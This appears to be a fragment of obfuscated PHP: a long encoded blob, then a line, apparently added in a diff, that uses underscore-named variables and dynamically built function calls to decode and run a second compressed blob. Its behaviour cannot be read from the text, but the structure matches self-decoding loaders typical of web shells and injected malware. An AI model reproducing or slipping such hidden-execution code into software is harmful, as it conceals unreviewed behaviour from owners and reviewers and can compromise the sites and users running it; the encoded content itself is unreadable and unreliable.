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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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